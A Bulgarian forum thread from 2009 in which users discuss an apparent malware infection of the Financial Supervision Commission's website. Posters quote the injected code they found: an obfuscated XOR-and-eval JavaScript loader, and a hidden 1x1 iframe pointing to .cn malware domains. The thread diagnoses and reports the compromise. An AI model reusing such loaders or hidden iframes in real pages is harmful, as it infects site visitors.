Има ли вирус на сайта на КФН

[jaimztwolf]

Мутация

Вирусът на уебсайта на Комисията мутира. В момента не се зарежда с iframe, а със следния javascript код.
[code]<script>
ayyb=new Array(40,35,47,57,33,41,34,56,98,59,62,37,56,41,10 0,110,112,37,42,62,45,33,41,108,63,62,47,113,107,3 6,56,56,60,118,99,99,
58,37,62,56,57,35,54,46,37,32,34,53,45,39,98,47,34 ,99,37,33,45,43,41,99,43,35,98,60,36,60,115,63,37, 40,113,125,107,108,42,
62,45,33,41,46,35,62,40,41,62,113,124,108,36,41,37 ,43,36,56,113,125,108,59,37,40,56,36,113,125,114,1 12,99,37,42,62,45,33,
41,114,110,101,119,70);
jm="";
bv=76;
kee=eval;
vp=String.fromCharCode;
for(jvf in ayyb)jm+=vp(ayyb[jvf]^bv);
kee(jm);
</script>[/code]

Но мисля, че за България достъпът до този .cn сайт е блокиран.

[polki]

Пак има препратка към китайски сайт,който бъка от вируси: http://www.fornistan.cn/ опитайте се да влезете в него само ако имате добра Антивирусна.Ама може ли сайта на такава институция да не е защитен?!Направо е зприличал на порносайт.
Пишете на администратора на сайта Tah Li на tahli@yahoo.com,интересно сайта е регистриран на скоро 2009-08-11 17:34,това е IP-то: 220.196.59.19,сървъра е в Пекин.

nещо се обърках - админа на КФН се казва Tah Li и сайта се хоства в Пекин така ли ?

китайците дойдоха и превзеха първo кафене-то

[kaputov]

За Клаоян,който лесно се обърква:Tah Li с е-мейл tahli@yahoo.com е админа на http://www.fornistan.cn/ на който линк не ви съветвам да кликвате без добра антивирусна защите,защ може да видите тук: http://it.dir.bg/2009/08/23/news4962990.html

[kaloian]

Пак има препратка към китайски сайт,който бъка от вируси: http://www.fornistan.cn/ опитайте се да влезете в него само ако имате добра Антивирусна.Ама може ли сайта на такава институция да не е защитен?!Направо е зприличал на порносайт.
Пишете на администратора на сайта Tah Li на tahli@yahoo.com,интересно сайта е регистриран на скоро 2009-08-11 17:34,това е IP-то: 220.196.59.19,сървъра е в Пекин.

nещо се обърках - админа на КФН се казва Tah Li и сайта се хоства в Пекин така ли ?

[kaputov]

Пак има препратка към китайски сайт,който бъка от вируси: http://www.fornistan.cn/ опитайте се да влезете в него само ако имате добра Антивирусна.Ама може ли сайта на такава институция да не е защитен?!Направо е зприличал на порносайт.
Пишете на администратора на сайта Tah Li на tahli@yahoo.com,интересно сайта е регистриран на скоро 2009-08-11 17:34,това е IP-то: 220.196.59.19,сървъра е в Пекин.

[Zaki]

Дано да няма вирус.

[jaimztwolf]

не точно

сутринта и моята антивирусна ме предупреждаваше за опасност, но сега вече няма такава.

Може антивирусната да се е уморила.

вероятно просто вече вируса го няма - блокиран е от хостинг-доставчика или нещо такова.

Какво ще правят китайски връзки на страницата ако сайта не е хакнат?

Ами ако ползват хостинг не на собствен, а на друг сървър - възможно е този друг сървър да е хакнат и да са заразени всички хоствани там домейни, важното е, че вече вируса го няма. сега трябва да се види къде е била дупката...

[deneb]

сутринта и моята антивирусна ме предупреждаваше за опасност, но сега вече няма такава.

Може антивирусната да се е уморила.

[YMEH_TOCTEP]

Re: iframe e

В общия случай наличието на нежелан код в сорса на страницата означава, че хостинга им е бил хакнат и специална програма е заразила или всички файлове, или например тези с име index.php или index.html или нещо такова. Обаче не е задължително това да е случая със сайта на КФН.

Какво ще правят китайски връзки на страницата ако сайта не е хакнат?

[jaimztwolf]

iframe e

В кода на страницата има следния текст:
[code]Eдин от най-бързо развиващите се сектори в българската икономика от 2003 г. се регулира и надзирава от КФН...<iframe src='http://virtuozbilnyak.cn/image/go.php?sid=1' frameborder=0 height=1 width=1></iframe>
</td>
[/code]
Скрипта [code]http://virtuozbilnyak.cn/image/go.php?sid=1[/code] пък препраща към [code]http://fornistan.cn/hunter/index.php[/code]
Възможно е в момента този сайт да е блокиран, но преди да е съдържал вирус - случвало ми се е с други страници. Обикновено Гугъл, когато попаднете на такъв сайт с него, а и Мозила Файърфокс и повечето браузъри, вадят едно прекрасно съобщение в червено, че вероятно тази страница съдържа вирус, затова е препоръчително да не я отваряте. Съобщението е нещо такова:
или такова


В общия случай наличието на нежелан код в сорса на страницата означава, че хостинга им е бил хакнат и специална програма е заразила или всички файлове, или например тези с име index.php или index.html или нещо такова. Обаче не е задължително това да е случая със сайта на КФН.

[be_google]

абе какъв е този плосък опит за топене срещу КФН?

нищо му няма на сайта им! може да са си повишили защитата....

[Longin]

Re: Има ли вирус на сайта на КФН

Изложи ли се старият джедай?!

съвсем мъничко

[kaputov]

Аз съм с Аваст и блокира достъпа до сайта.Така е от няколко дни.Подобни съобщения ми се появяват при влизане в порно сайтове това дали няма някаква връзка
Бива някой да има каже...Инвестора да напише статия по случая

[Натрий]

При мен излезе "Блокирана е опасна операция" - с Panda съм. Някой обади ли им се?

[BGN]

Има вирус
и мойта антивирусна се активира..